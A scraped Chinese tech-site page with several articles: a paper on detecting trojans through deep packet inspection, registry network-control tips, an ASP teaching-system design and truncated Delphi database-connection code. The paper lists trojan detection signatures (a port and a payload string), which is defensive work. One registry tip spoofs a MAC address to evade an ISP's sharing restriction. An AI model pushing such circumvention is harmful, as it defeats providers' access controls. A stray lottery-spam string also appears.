寂涯網絡學習基地 15 内蒙古十一选五走势图今天的 http://www.ionrce.tw/xitonganquan/20120701965.html 引 言 隨著計算機網絡越來越成為在當今社會生活不可缺少的一 部分, 隨之而來的網絡安全的問題也越來越明顯 近年來, 頻頻 發生網絡攻擊事件, 給受害者帶來重大損失 2009 年 5 月播 引 言 隨著計算機網絡越來越成為在當今社會生活不可缺少的一 部分, 隨之而來的網絡安全的問題也越來越明顯 近年來, 頻頻 發生網絡攻擊事件, 給受害者帶來重大損失 2009 年 5 月播放 軟件暴風影音導致的南方六省斷網事件 2010 年 1 月搜索引擎 公司百度被自稱是伊朗網軍的黑客組織入侵, 導致網民無法正 常登陸百度網站達8 小時等事件已經表明網絡安全問題已經成 為刻不容緩的問題 作為網絡安全的 第二道閘門 的入侵檢測技術, 部署在防 火墻之后, 能夠實時檢測網絡流, 通過對捕獲的數據包進行分析 處理, 匹配入侵特征庫, 來檢測各種入侵攻擊[1] 在分布式入 侵檢測系統中, 策略統一由控制臺定義 管理, 控制臺按照分發 協議將策略 推 到各個 Agent 客戶端, 再由各個 Agent 客戶端 實施策略[2] 因為分布式入侵檢測系統能夠解決傳統集中式 的入侵檢測存在的一些問題, 目前對分布式入侵檢測系統的研 究已經成為一個熱點領域 特洛伊木馬程序作為一類主要的惡意代碼, 自誕生以來因 其隱蔽的遠程監控和侵犯個人隱私給互聯網用戶帶來巨大的危 害, 因此網絡敲詐勒索事件頻頻發生 惡意攻擊者利用木馬程 序構建僵尸網絡, 并據此進行分布式拒絕服務攻擊和發送垃圾 郵件, 嚴重威脅到大面積互聯網的安全 據統計, 網頁掛馬已經 成為地下黑客產業鏈中的支柱產業 因此對特洛伊木馬的攻擊 檢測刻不容緩 本文基于深度包檢測技術實現了一個分布式特洛伊木馬檢 測系統, 各個 Agent 代理端將數據包解析到應用層, 通過正則表 達式方法檢測特洛伊木馬攻擊, 取得良好的效果 1 基于正則表達式的深度包檢測技術 1956 年, 數學家 Stephen Kleene 提出了正則表達式, 主要通 過字符的格式匹配進行詞法分析 正則表達式要自動完成與字 符串的匹配工作, 需要通過正則表達式匹配引擎 正則表達式 匹配引擎通常采用自動機理論, 將正則表達式編譯成有限狀態 自動機 當前對正則表達式匹配引擎的研究主要集中在深度報 文檢測領域 當前最著名的基于正則表達式的協議識別系統就是 L7.. Filter, 它是Linux 的Netfilter / Iptables 上一個開放源代碼的軟件, 實現了應用層協議的識別[3] 其他正則庫還有 Boost CAtlReg Greta 等 Boost 內容復雜, 且需要一步步編譯, CAtlreg 不能在 VC6 下用,GRETA 是微軟研究院推出的一個正則表達式模板 類庫, GRETA 包含的 C + + 對象和函數, 僅有 6 個文件, 使字符 串的模式匹配和替換變得容易 深度報文檢測, 也稱報文內容檢測, 是防火墻 IDS / IPS 應 用層協議識別 網絡監控 流量控制 內容審計等應用中的一項 重要技術 傳統的數據包過濾技術只檢查包中網路層的 IP 報 頭和傳輸層的報頭, 能控制站點之間 網絡之間的訪問, 但不能 控制傳輸的數據內容, 因為內容是應用層數據; DPI 技術對數據 包進行網絡層上的解析的前提下, 進一步進行基于應用層協議 的解析, 清楚地知道數據包各個數據位上的含義[4] 目前深度 報文檢測主要集中在研究入侵檢測系統如何采用正則表達式檢 測報文中是否含有惡意代碼, 例如在入侵檢測系統 Snort 和 Bro 中引入了正則表達式來表示規則 綜合以上, 作者研究實現了一個基于 DPI 技術, 應用 GRETA 正則庫進行模式匹配的分布式的特洛伊木馬檢測系統 2 分布式入侵檢測系統設計與實現 2. 1 設計目標 據統計, 特洛伊木馬程序 計算機病毒和蠕蟲是當今最主要 的網絡安全威脅 因此對于特洛伊木馬等網絡攻擊的檢測可以 加強網絡安全 本系統采用分布式結構, 通過部署在局域網內部各個位置 網絡代理相互協作運行, 可以對特洛伊木馬等攻擊進行有效檢 測, 達到加強網絡安全的目的 當各個網絡代理發現木馬通信 以后, 馬上將入侵事件上報瘦服務器端, 同時也會發送郵件進行 報警 同時, 各個代理端 Agent 之間也可以通過即時通信 文件 傳輸等方式進行入侵信息的共享, 這樣從服務器端就可以對整 個局域網絡進行實時監控 2. 2 網絡代理端的設計 本系統網絡代理端的設計參考通用入侵檢測框架 CIDF ( Common Intrusion Detection Framework), CIDF 系統框架分為事#p#分頁標題#e# 件發生器 事件分析器 事件數據庫和響應單元4 個組件 本系 統網絡代理端分為捕包分析 日志記錄 報警 與服務器端通信 等幾個模塊 本系統網絡代理端的結構如圖1 所示 捕包分析模塊采用 Winpcap 來捕獲數據包, 將捕獲的數據 包交給包分析引擎; 協議分析模塊將數據包初步解析成 IP 包和 ARP 包, 進一步將 IP 包解析成 TCP 包 UDP 包 ICMP 包, 針對 TCP 包進一步實現應用層協議解析, 解析出 HTTP \ FTP \ P2P 等 應用層信息, 同時對分片包進行分片重組, 使用 GRETA 正則庫 匹配入侵特征碼檢測網絡攻擊, 其中入侵特征庫參考開源入侵 檢測系統 SNORT 提供的特征庫規則構建; 與服務器端通信模塊 與服務器端建立連接, 相互之間通過消息進行通信, 發現入侵事 件, 寫入遠程服務器端數據庫; 日志記錄模塊對將捕獲的網絡數 據包解析后寫入日志數據庫中; 報警模塊一方面是通過 SMTP 協議發送報警郵件到指定郵箱, 另一方面將入侵事件寫入遠程 服務器端數據庫和本地日志文件 本系統采用VC ++開發, 利用socket 編程實現, 數據庫使用 SQL Server2000, 正則庫使用微軟的 GRETA 本系統網絡代理 端采用的主要技術是: 1) 多線程技術捕獲網絡數據包, 進行協議分析和TCP 數據 流重組 Winpcap( windows packet capture) 是 libpcap 的 Windows 版 本, 是 Windows 平臺下一個免費 公共的網絡訪問系統, 它為 win32 應用程序提供訪問網絡底層的能力 本系統客戶端的捕 獲數據包模塊就是基于 Winpcap 來實現的 如果在一個繁忙的網絡上進行截獲, 而不設置任何過濾規 則, 那么捕獲的數據包是非常多的, 同時如果應用程序不進行必 要的性能優化, 那么將會大量的丟失數據包, 因此本系統客戶端 采用多線程技術來處理數據包; 在程序中使用三個線程進行操 作: 一個線程只進行捕獲操作, 另一個線程進行過濾操作, 第三 個線程進行數據包處理操作 2) 深度包檢測技術在協議分析的基礎上將數據包解析到 應用層, 通過通信端口與通信內容相結合檢測木馬程序[5] 當網絡中存在特洛伊木馬程序通信時, 一方面木馬程序使 用特定端口進行通信, 另外, 數據包載荷里面有特征碼[6] 以 灰鴿子為例, 作者對其通信數據包進行分析, 它會主動去攻擊者 的免費空間讀取文本文件內容獲取攻擊者 IP 地址, 進而主動連 接控制端 TCP 8000 端口[7] 通過實驗作者將捕獲數據包解析 到應用層 HTTP 協議時 GET 請求包中存在類似 ip. txt 文件的請 求[8] 使用 TCP 端口8000 都作為灰鴿子木馬的通信特征, 另外 通過實驗截取到灰鴿子木馬通信時的數據包負載長度是 9, 特 征碼是 _M DKGEM 數據截圖如圖2 所示。 圖2 使用 Ethereal 截取灰鴿子木馬通訊數據包 本系統客戶端基于以上入侵特征對捕獲的數據包解析到應 用層, 解析出應用層協議和數據負載, 匹配木馬端口特征庫和入 侵特征碼數據庫, 達到檢測掃描攻擊和特洛伊木馬程序的目的 3) SOCKET 編程技術實現各個 Agent 代理端之間多種通信 方式。 各個 Agent 代理端一旦檢測到入侵攻擊后馬上報警, 一方 面向指定郵箱發送郵件, 另一方面把檢測到的入侵信息寫入日 志文件 寫入遠程服務器端數據庫 各個 Agent 之間還可以通 過即時通信 文件傳輸實現相互之間的信息共享 4) 反彈連接技術, 主動連接服務器端 本系統客戶端參考特洛伊木馬中的 反彈連接 技術[9], 把 它應用到 DNIDS 中 本系統客戶端一經上線, 馬上主動到指定 郵箱讀取郵件, 從郵件內容獲得本系統管理端 IP 地址, 進行主 動連接, 從而方便了服務器端的管理 2. 3 瘦服務器端的設計 本系統的瘦服務器端與上述 Agent 代理端基本功能模塊是 相同的, 但另外增加三個模塊: 身份認證模塊 與客戶機通信模 塊 全局策略設置模塊 身份認證模塊對登錄管理端的管理員 用戶進行一個身份認證; 與客戶機通信模塊與客戶端建立連接 后, 可以根據全局配置策略向客戶機下達命令; 全局策略模塊從#p#分頁標題#e# 控制臺進行整個系統的全局策略的設置 本系統瘦服務器端按照全局策略模塊中的設置, 向已建立 連接的網絡代理端下達命令 網絡代理端發現入侵事件后, 將 其寫入遠程瘦服務器端數據庫, 同時寫入本地日志文件 2. 4 分布式木馬檢測系統的工作流程 本系統各網絡代理端與服務器端建立連接后, 服務器端與 部署在各個位置的多個客戶端就可以對整個局域網進行實時監 控 網絡代理端根據配置, 實時監控本地主機, 當檢測到入侵事 件后直接寫入本系統服務器端的數據庫( 如圖3 所示)。 結果 本系統采用分布式結構, 解決了集中式入侵檢測系統存在 的因單檢測點壓力大而導致頻繁丟包的問題; 采用多線程技術, 將捕包與解析包分離開來, 也大大減少了系統的丟包率; 通過服 務器端的統一全局策略配置, 實現了各代理端協同一致, 從服務 器端的入侵事件數據庫中可以對整個局域網絡的攻擊有一個總 體的把握, 加強了網絡安全 本系統在某大學校園網環境中進行測試, 該大學校園網采 用 核心-匯聚-接入 的三層網絡結構 在校園網絡各匯聚交換 機上采用端口鏡像技術將本匯聚交換機主干鏈路數據同步到同 一臺匯聚交換機的另外一個物理端口上 安裝了本分布式系統 各個 AGENT 端的服務器就通過雙絞線連接在此物理端口上, 籍此實現對本匯聚交換機的所有進出數據在旁路進行實時監 控 整個分布式系統通過部署在校園網各個網段的各個代理端 的實時通信, 能夠對整個校園網的木馬通信進行監控, 效果良 好 通過 DPI 技術對數據包負載進行深度包檢測, 能夠發現 灰鴿子 木馬等常見木馬程序的通信行為, 進而檢測到校園網 內存在的僵尸網絡木馬程序 實驗結果如圖4 所示 因為使用 DPI 技術, 本系統具有檢測精確度高 檢測效率高的優點; 但因 木馬特征庫的完備問題, 存在對于未知木馬無法檢測的缺點。 4 結 語 本系統通過服務器端與校園網絡各個位置的 Agent 網絡代 理端進行通信, 實時監控校園網的網絡狀態, 檢測局域網絡的木 馬程序等網絡攻擊, 加強了校園網絡的安全 本系統在木馬的 特征庫的完備性方面需要進一步擴充, 同時減少對木馬程序的 誤報和漏報問題, 這都是下一步繼續開展的研究工作 道高一尺, 魔高一丈 , 網絡入侵與防御的對抗會長期持 續下去 隨著入侵檢測技術的發展, 新問題會不斷出現 一句 話, 網絡安全任重道遠。 http://www.ionrce.tw/uploads/allimg/120701/1-120F1142515444-lp.jpg 木馬檢測,檢測系統 系統安全 admin 未知 2012-07-01 14:23 輕松掌握注冊表的網絡連接控制 http://www.ionrce.tw/windows/20120630964.html 系統注冊表既很神奇又很陌生,各種系統服務或應用程序的啟動類型、運行方式,都能利用注冊表中的有關鍵值進行控制管理,任何系統配置操作也都能從注冊表中找到控制痕跡。除此 系統注冊表既很神奇又很陌生,各種系統服務或應用程序的啟動類型、運行方式,都能利用注冊表中的有關鍵值進行控制管理,任何系統配置操作也都能從注冊表中找到控制痕跡。除此而外,系統注冊表在網絡連接控制方面也有一手不錯的“本領”,巧妙利用這些控制“本領”,用戶徒 手也能管理好網絡連接。連接保持在線“本領”某計算機使用寬帶撥號方 式上網,當一位員工登錄系統并建立上網連接后,如果這時系統 切換到其他用戶登錄狀態,那么之前創建的寬帶上網連接就會自 動斷開。如果希望系統在切換用戶登錄狀態時,寬帶撥號一直保 持連接狀態,可以按照如下步驟修改注冊表相關鍵值: 首先打開寬帶撥號上網系統的“開始”菜單,選擇 “運行”選項,彈出系統運行文本框,輸入“regedit” 命令,單擊回車鍵后,切換到系統注冊表編輯界面, 依次展開HKEY_LOCAL_ MACHINE\SOFTWARE\ Microsoft\Windows NT\ CurrentVersion\Winlogon注冊表目錄; 接著檢查指定目錄 下是否存在雙字節鍵值 “KeepRasConnections”, 如果看不到的話,可以右擊 “Winlogon”目錄,執行右鍵 菜單中的“新建”|“Dword 值”命令,手工創建好 “KeepRasConnections”鍵值; 下面雙擊剛剛創建好的 “KeepRasConnections”鍵 值,打開如圖1所示的編輯對話 框,選中“十六進制”,并且 將數字“1”填寫在“數值數 據”文本框中,點擊“確定”按鈕執行設置保存操作,再重 新啟動計算機系統,這樣系統 在不同用戶帳號之間進行切換 時,起初創建好的寬帶上網連 接就會始終保持在線狀態。 網絡身份驗證“本領” 由于低版本操作系統漏 洞多,安全防范能力差,病 毒木馬很容易攻擊它們,如果輕易允許這些操作系統接入局 域網的話,那么整個局域網的 安全將會受到極大挑戰。有鑒于此,Vist a以上版本系統都 推出了網絡身份驗證功能,該功能默認會禁止那些漏洞多的 低版本操作系統與之建立遠程桌面連接。那么,如何才能將 網絡身份驗證功能“植入”到 Windows X P之類的低版本系統中,從而增強該系統遠程 桌面連接的安全性能呢?很簡 單,可以依照下面的操作來設置Windows XP系統,來開啟 該系統潛藏的網絡身份驗證功 能:首先從網上下載獲得 Windows XP系統的SP3補丁 包,并按默認方法將其安裝成 功,安裝結束后要重新啟動系 文/綠色 統,之后點擊“開始”菜單中 的“運行”命令,彈出系統運 行文本框,輸入“regedit”命令,單擊回車鍵后切換到注冊 表編輯界面; 接著將鼠標定位 到HKEY_LOCAL_ MACHINE\SYSTEM\ CurrentControlSet\ Control\Ls a注冊表目錄上, 雙擊該目錄下的多字符串鍵值 “Security Packages”,返 回如圖2所示的編輯字符串對話 框,將“tspkg”字符內容添 加到對話框最后一行,并單擊 “確定”按鈕執行設置保存操 作; 將鼠標再次定位 到HKEY_LOCAL_ MACHINE\SYSTEM\ CurrentControlSet\ Control\SecurityProviders注冊表目錄上,雙擊指定目錄 下的“SecurityProviders” 字符串鍵值,在其后界面的 “數值數據”文本框中輸入 “credssp.dl l”,并單擊“確 定”按鈕返回,最后重新啟動 計算機系統,這樣Windows XP系統日后就具有網絡身份驗 證功能了。 在啟用這項功能時,先 從Windows X P系統的“開 始”菜單中執行遠程桌面連接 命令,打開遠程桌面設置對話 框,找到“關于”設置項,在 這里我們就能發現網絡身份驗 證功能選項的“身影”了,選 中該功能選項,WinXP系統的 遠程桌面連接就可以支持網絡 身份驗證功能了。 解除地址綁定“本領” 為了防止局域網中頻繁 發生地址沖突現象,不少用戶 會對計算機系統的網卡IP地#p#分頁標題#e# 址執行綁定操作,這樣其他用 戶日后即使搶用了被綁定的IP 地址,他們也不能正常上網訪 問。其實,局域網中的許多重 要IP地址有時需要被用戶反復 使用的,這樣用戶就要在局域 網計算機中經常執行IP地址解 除綁定操作,以便釋放被捆綁 的重要IP地址。為網卡IP地址 解除綁定的方法有很多,不過 對于精通注冊表編輯修改操作 的用戶來說,利用修改注冊表 相關鍵值來快速解除被綁定的 網卡IP地址,仍不失為一種有 效方法: 首先在已經綁定了IP地址 的計算機系統中依次單擊“開 始”|“運行”選項,彈出系統 運行文本框,輸入“regedit” 命令,單擊“確定”按鈕后, 切換到系統注冊表編輯界面; 接著將鼠標定位到 HKEY_LOCAL_MACHINE\ SYSTEM\ControlSe t001\ Services\Tcpip\Parameters\ Interfaces注冊表目錄上,如圖3所示,在該目錄下面我們會發現 若干個子目錄,用鼠標依次打開每個子目錄中的“IPAddress” 鍵值,找到與被綁定IP地址相對 應的那個注冊表子目錄,再用鼠標右擊目標子目錄,從彈出的右 鍵菜單中選擇“刪除”命令,最 后重新啟動計算機系統,這樣被綁定的IP地址就會被釋放出來了。 保護網絡密碼“本領” 在局域網中進行資源共享 訪問時,往往要輸入各種網絡 訪問密碼,而Windows系統默 認狀態下會將這些密碼自動存儲下來,盡管日后重復訪問時 不要再次輸入訪問密碼,不過 被自動存儲的網絡密碼很容易被非法用戶偷窺并利用,從而 給用戶自身帶來安全麻煩。為 了防止網絡訪問密碼被非法利用,我們可以修改注冊表相關 鍵值,禁止系統自動存儲網絡 訪問密碼: 首先打開系統運行文本 框,輸入“regedit”命令,展 開系統注冊表編輯界面,將鼠 標定位到該界面左側區域中的 注冊表目錄HKEY_LOCAL_ MACHINE\SOFTWARE\ Microsoft\Windows\ CurrentVersion\policies上, 用鼠標右鍵單擊“policies”目錄,選擇快捷菜單中的“新 建”|“項”命令,將新建子目 錄取名為“Network”,如圖 4所示; 接著選中“Network” 目錄,并用鼠標右鍵單擊該目錄,從彈出的右鍵菜單中逐一 點選“新建”|“D word值”命令,手工創建好雙字節鍵值 “disablepasswordcaching”, 同時將該鍵值的數值輸入為 “1”,再單擊“確定”按鈕執 行設置保存操作,最后重新啟 動系統即可。 要提醒大家的是,通過 系統自帶IE瀏覽器上網在線 交易時,輸入的登錄密碼也會被系統自動存儲,為了這種類型的網絡密碼,我們可以將 鼠標定位到HKEY_LOCAL_ MACHINE\SOFTWARE\ Microsoft\Internet Explorer\MAIN注冊表目錄 上,將指定目錄下的“Delete_ Temp_Files_On_Exit”數值修改為“yes”,再刷新系統注 冊表,這樣上網在線交易密碼 就不會被系統自動存儲了。 修改MAC地址“本領” 現在很多辦公室或家庭 都使用共享寬帶撥號的方式上 網訪問,不過寬帶提供服務商 為了追求更多經濟效益,往往會利用專業網管工具綁定寬帶 撥號設備的IP地址,禁止用戶共享一臺寬帶撥號設備進行上 網。為了穿越寬帶提供服務商 的綁定限制,我們可以修改客 戶機的網卡MAC地址,讓其變 成與不受訪問限制的MAC地 址,來“欺騙”寬帶提供服務商網管工具。修改客戶機網卡 MAC地址的方法有很多,其中 一種方法就是通過修改注冊表 來實現的: 首先打開系統注冊 表編輯界面,將鼠標定 位到HKEY_LOCAL_ MACHINE\SYSTEM\ CurrentControlSet\ Services\Class\Ne t\0001 注冊表目錄上,檢查 指定目錄下是否存在 “NetworkAddres s”字符 串值,如果發現該字符串值 不存在時,可以用鼠標右鍵 單擊“0001”目錄,從彈出 的右鍵菜單中依次選擇“新 建”|“字符串值”命令, 同時將新建的鍵值取名為 “NetworkAddress”; 接著雙擊字符串值 “NetworkAddres s”,打#p#分頁標題#e# 開如圖5所示的編輯對話框, 手工輸入不受上網限制的網 卡MAC地址,例如,寬帶提 供服務商的網管工具只允許 “11-17-33-26-55-22”地 址上網訪問時,那么我們只要 將“111733265522”數字填寫 在“數值數據”文本框中,再 單擊“確定”按鈕返回,同時 刷新系統注冊表設置就能立即 生效。 為了檢驗上面的修改 MAC地址操作是否成功,我 們可以打開本地系統的運行 對話框,執行“cmd”命令, 彈出MS-DOS命令行窗口, 在該窗口命令提示符下輸入 “ipconfig /all”命令,檢查 結果界面中的網卡MAC地址 有沒有變成“11-17-33-26- 55-22”,如果已經變成的 話,那就說明MAC地址修改 操作已經取得成功。 隱藏網絡映射“本領” 在多人共同使用一臺計算 機的情況下,要是我們輕易將 局域網中共享文件夾映射成本 地計算機的一個磁盤分區時, 那么其他人日后登錄使用計算 機時,也能借助該功能偷窺到 自己的共享訪問隱私,這樣不 但不利于保護共享隱私,而且 啟用網絡映射功能還會影響系 統啟動速度。有鑒于此,我們 可以按照下面的操作,來巧妙 隱藏計算機系統的網絡映射功 能,讓用戶不要使用該功能進 行共享訪問: 首先按前面操作展開系 統注冊表編輯界面,將鼠標 定位到HKEY_CURRENT_ USER\Software\Microsoft\ Windows\CurrentVersion\ Policies\Explorer注冊 表目錄上,并用鼠標右鍵 單擊“Explore r”目錄, 從彈出的快捷菜單中逐一 單擊“新建”|“雙字節 值”命令,手工創建好 “NoNetConnectDisconnect” 雙字節鍵值; 其次雙擊雙字節鍵值 “NoNetConnectDisconnect”, 切換到如圖6所示的編輯對話 框,選中“十六進制”選項, 同時將“00000001”填寫在 “數值數據”文本框中,再單 擊“確定”按鈕返回,最后對 計算機系統進行重啟操作即 可。 連接數量限制“本領” 在缺省狀態下,Windows 7系統為安全起見,會限制 TCP/IP連接的數量。不過, 從實踐效果來看,這種默認限 制對普通客戶機的安全影響不 是很大,相反這種限制還會拖 累網絡下載速度。為此,我 們可以取消實際作用不大的 TCP/IP連接限制功能,下面 就是具體的取消步驟: 首先依次單擊Windows 7系統的“開始”|“運行” 命令,切換到系統運行對話 框,輸入“regedi t”命令, 彈出系統注冊表編輯界面,將 鼠標定位到HKEY_LOCAL_ MACHINE\SYSTEM\ CurrentControlSet\ Services\Tcpip\Parameters 注冊表目錄上; 接著在Parameters 注冊表目錄下,檢查 “EnableConnectionRateLimiting” 鍵值是否存在,如果不存在的 話,可以手工創建一個這樣的 鍵值,再用鼠標雙擊這個雙字 節鍵值,打開如圖7所示的編輯 對話框,將其中的缺省數值調 整為“0”,再刷新系統注冊表 即可。 一級小標題:控制網絡打 印“本領” 為了提高打印機的利用 率,很多用戶會將打印機發布 到網絡中,讓局域網的其他用 戶可以共享使用。不過,有些 非法用戶可能會趁機利用共享 打印“通道”,偷偷對打印機 所在主機系統進行一些非法攻 擊,從而給對應系統帶來安全 麻煩。為了避免上述現象,我 們可以進行適當權限控制,讓 普通用戶不能隨意訪問共享打 印機,下面就是具體的設置步 驟: 首先在共享打印機所在系 統中依次點選“開始”|“運 行”命令,彈出系統運行對話 框,輸入“regedi t”命令,單 擊“確定”按鈕,打開系統注 冊表編輯界面; 其次將鼠標定位到 HKEY_LOCAL_MACHINE\ System\currentControlSet\ Control\Session Manager 注冊表目錄上,在指定目錄 下手工創建好雙字節鍵值 “ProtectionMode”,用鼠標 雙擊“ProtectionMode”鍵 值,打開如圖8所示的編輯對 話框,輸入數字“1”,再單擊#p#分頁標題#e# “確定”執行設置保存操作, 最后刷新系統注冊表,這樣任 何普通用戶將沒有權限創建新 的共享打印連接了。 http://www.ionrce.tw/uploads/allimg/120630/1-120630213UT49-lp.jpg 注冊表,網絡連接控制 windows admin 未知 2012-06-30 21:36 基于ASP技術的網絡教學管理系統的設計 http://www.ionrce.tw/wangzhanbiancheng/20120629963.html 需求分析 網絡教學管理系統的研發為了滿足教學中不同的人群的需 求 學員登錄本系統后可以瀏覽網站的網頁信息 選擇和查找 自己所需要學習文章和課件并進行下載;教師可以登錄本系 需求分析 網絡教學管理系統的研發為了滿足教學中不同的人群的需 求 學員登錄本系統后可以瀏覽網站的網頁信息 選擇和查找 自己所需要學習文章和課件并進行下載;教師可以登錄本系 統,在網站上安排課程 上傳課件 發布討論 批閱作業等; 系統管理員可以對本系統的后臺進行維護和操作 明確了系統的需求,進行系統開發之前首先要確定系統 的用例模型 創建系統用例的第一步是確定系統的參與者 網絡教學管理系統的參與者包含以下 3 種:學生 教師 系 統管理員 1.1 學生需求 學生在本系統中主要進行學習方面的相關操作 如圖 1 所示 1.2 教師需求 教師在本系統中登錄系統 課件的查詢和下載相關操作 以及信息瀏覽方面等的相關操作 如圖2 所示 1.3 系統管理員需求 系統管理員在網絡教學管理系統中可以進行系統登錄 系統管理和用戶管理方面的相關操作 如圖3 所示 2 系統設計 通過對系統需求的分析,本系統決定采用基于 ASP 語言 進行開發,本系統的主要設計思想如下: (1 )系統采用Dreamweaver+ASP+Access數據庫的技術方案 (2 )闡述整個個性化設計步驟 (3 )設計實現教師和學生注冊/登錄 查詢 留言,管理 員對系統的管理 (4 )系統的界面優化 2.1 關鍵技術 根據系統的需求,文中欲采用 ASP 的開發技術,開發工 具欲采用 Dreamweaver 軟件,數據庫采用 Access 數據庫,以 及基于IIS 的技術。 2.1.1ASP ASP(ActiveServerPage)ASP 是一種服務器端腳本編寫環 境,可以用來創建和運行動態網頁或 Web 應用程序 它具備 以下功能:實現動態網頁技術;易于修改和測試;ASP 提供 了一些內置對象;方便連接Access 與SQL 數據庫 2.1.2Dreamweaver Dreamweaver 集網頁設計 網站開發和站點管理功能于一 身,具有可視化 支持多平臺和跨瀏覽器的特性,是目前網 站設計 開發 制作的首選工具 它具備以下功能:靈活的 編寫方式;可視化編輯界面;功能更多的 CSS 支持;豐富的 媒體支持能力,如 ActiveX 2.1.3Access Access 是由微軟發布的關聯式數據庫管理系統 它存儲 方式單一,比較上手;界面友好 易操作;同時集成環境 處理多種數據信息 2.1.4IIS IIS 支持與語言無關的腳本編寫和組件 IIS 在網絡應用服 務器的管理 可用性 可靠性 安全性 性能與可擴展性方 面提供了許多新的功能,同時增強了網絡應用的開發 IIS 提 供了最可靠的 連接的 完整的服務器解決方案,通過 IIS, 開發人員就可以開發動態的 豐富的Web 站點 2.2 系統設計 系統設計遵循軟件 4S 設計原理,按照系統功能模塊設 計 數據庫設計 出錯設計 安全保密設計 4 個步驟 2.2.1系統功能模塊 系統主要分為兩大模塊:教師模塊和學生模塊 教師模塊 包括:教師修改個人資料模塊 教師提供測試題目模塊 教師 網上答疑模塊 教師對學習進程管理模塊 學生模塊包括:學 生修改個人資料功能 學生查看所提出的所有問題及解答模 塊 學生在線提問模塊 學生在網上自測模塊 2.2.2 數據庫 數據庫主要包括以下 6 個表:學生信息表(uers ) 教師 信息表(teacher ) 問題提出表(question ) 問題回答表(an swer ) 試題題目表(text ) 課程題目表(tutorial ) 2.2.3 出錯處理 系統中采用出錯提示框形式為用戶提供出錯信息 任何 一個系統的開發都應充分考慮各種系統錯誤,避免造成數據 庫系統不一致或損壞,因此在本系統中采用出錯提示框形式 為用戶提供出錯信息 2.2.4 安全保密 系統采用的是對用戶登錄平臺時進行身份驗證,只允許 合法用戶進入平臺并操作 2.3 系統模塊 系統主要分為兩個模塊:一個是教師模塊,另一個是學 生模塊 2.3.1 教師模塊 教師通過登錄界面登錄系統,可以修改個人信息 教程 管理 答疑管理 試題管理 并且,系統可以實現不同教師 的課程資源可以共享 2.3.2 學生模塊 學生通過登錄界面登錄系統,可以修改個人信息,其中#p#分頁標題#e# 包括密碼修改 姓名修改 學號修改 電子郵件修改 所屬 系別修改 所屬班級修改等 學生可以查詢提交的問題,并且可以查看問題是否已經 回答;同時學生可以通過系統進行網上提問,問題包括標題 問題所屬的章節 問題內容,并且可以進行發送和重寫操作 2.3.3 數據表 教師和學生信息的數據庫中包含的表如表1-表4 所示 3 結語 隨著技術的進步,網絡教學管理系統必需得與時俱進更 新發展以適應網上教學 而一個功能齊全的網絡教學管理系 統不僅能節約資源,而且含有豐富的網絡教學資源,以彌補對面教學的不足 這種打破時間 空間和人數的教學系統可 以讓使用者在網絡資源的指引下自主學習,滿足學習的需要。 http://www.ionrce.tw/uploads/allimg/120629/1-120629194111258-lp.jpg asp,教學管理系統,網絡教學 網站編程 admin 未知 2012-06-29 19:39 Delphi7存取配置文件與SQLServer數據庫連接 http://www.ionrce.tw/biancheng/20120628962.html 引言 Delphi7 具有強大的數據庫應用程序開發功能 在使用 Delphi7 開發 房產管理系統 時,后臺數據庫采用 SQL Server 數據庫管理系統 使用 TADOConnection 組件與數據庫 建立連接,需要指定 TAD 引言 Delphi7 具有強大的數據庫應用程序開發功能 在使用 Delphi7 開發 房產管理系統 時,后臺數據庫采用 SQL Server 數據庫管理系統 使用 TADOConnection 組件與數據庫 建立連接,需要指定 TADOConnection 組件的 connectstring 屬 性,在屬性設置時需要用到數據庫服務器的名稱 因為 SQL Server 數據庫不是一個獨立的磁盤文件,它是通過數據庫服務 器的名稱來訪問數據庫中的數據的 而在不同的計算機上安 裝 SQLServer 數據庫管理系統時,都為數據庫服務器指定了 不同的實例名稱,所以在 connectstring 屬性中必須指定正確的 服務器名字才可以實現正確的連接 2 實現思路 正是利用 Delphi 可以很方便地讀取 INI 配置文件的內在 優點,在 房產管理系統 中將需要連接的 SQLServer 數據 庫服務器的名稱事先寫入到一個INI 配置文件中,連接時再從 INI 配置文件中讀出相關的數據構成連接字符串信息 應用程 序運行前先進行數據庫連接測試,如果連接成功,則直接運 行下一步,如果連接失敗,則自動彈出提示窗口,提示用戶 錄入數據庫連接配置的正確信息,保存后再進行連接測試, 直至成功直接進入系統 3 關鍵技術 3.1 將數據庫連接參數寫入配置文件 首先建立一個用于輸入數據的窗體,如圖1所示 在其單元文件中,定義常量 strINIname 來存放配置文件 名,定義 TINIFile 類型的文件變量iniParam; const strINIname='db.ini'; var iniParam:TINIFile; 接著定義將數據庫連接參數寫入配置文件的過程writeParam: procedurewriteParam(server:string;workstation:string); begin iniParam.WriteString('dbParam','DataSource',server); iniParam.WriteString('dbParam','WorkstationID', workstation); end; 然后編寫窗體 保存 按鈕的事件過程程序 procedureTform1.Button1Click(Sender:TObject); var server,workstation:string; begin server:=trim(Edit1.Text); workstation:=trim(Edit2.Text); writeParam(server,workstation); MessageDlg(' 保存成功',mtinformation,[mbok],0); Button2.SetFocus; end; 3.2 登錄時讀取配置文件內容連接數據庫 主程序運行時,在登錄窗口中先進行用戶的合法性驗證 再進行數據庫連接測試,登錄窗體的單元文件 Login.pas 部分 代碼如下: unitLogin; interface uses Windows,Messages,SysUtils,Classes,Graphics,Controls, Forms,Dialogs,ExtCtrls,StdCtrls,Buttons,DB,DBTables, AdoDB,inifiles; type TLoginform=class(TForm) Panel1:TPanel; edtPassword:TEdit; StaticText1:TStaticText; StaticText2:TStaticText; cmbUserName:TComboBox; btnOK:TSpeedButton; btnCancel:TSpeedButton; BitBtn1:TBitBtn; ADOQuery1:TADOQuery; procedurebtnCancelClick(Sender:TObject); procedureFormShow(Sender:TObject); procedureFormCreate(Sender:TObject); procedurebtnOKClick(Sender:TObject); procedureedtPasswordKeyDown(Sender:TObject;var Key:Word;Shift:TShiftState); procedureBitBtn1Click(Sender:TObject); private {Privatedeclarations} public {Publicdeclarations} end; const strINIname='db.ini'; var Loginform:TLoginform; iniParam:TINIFile; procedurereadParam(outserver:String;outworkstation: string); implementation usesMain,datamodule; {$R*.DFM} //定義一個讀取參數的過程readParam procedurereadParam(outserver:String;outworkstation: string); begin server:=iniparam.ReadString('dbParam','DataSource', ''); workstation:=iniParam.ReadString('dbParam', 'WorkstationID',''); end; //在登錄窗體的 oncreate 事件中連接數據庫 procedureTLoginform.FormCreate(Sender:TObject); var Query:TADOQuery; a,b,c,d,e:string; begin //獲取配置文件 getdir(0,d); iniparam:=tinifile.Create(d+'\'+strininame); //從配置文件中讀取參數值 readparam(a,b); datamodule2.adoconnection1.Connected:=false; //根據讀出的參數構造連接字符串的值,并連接數據庫 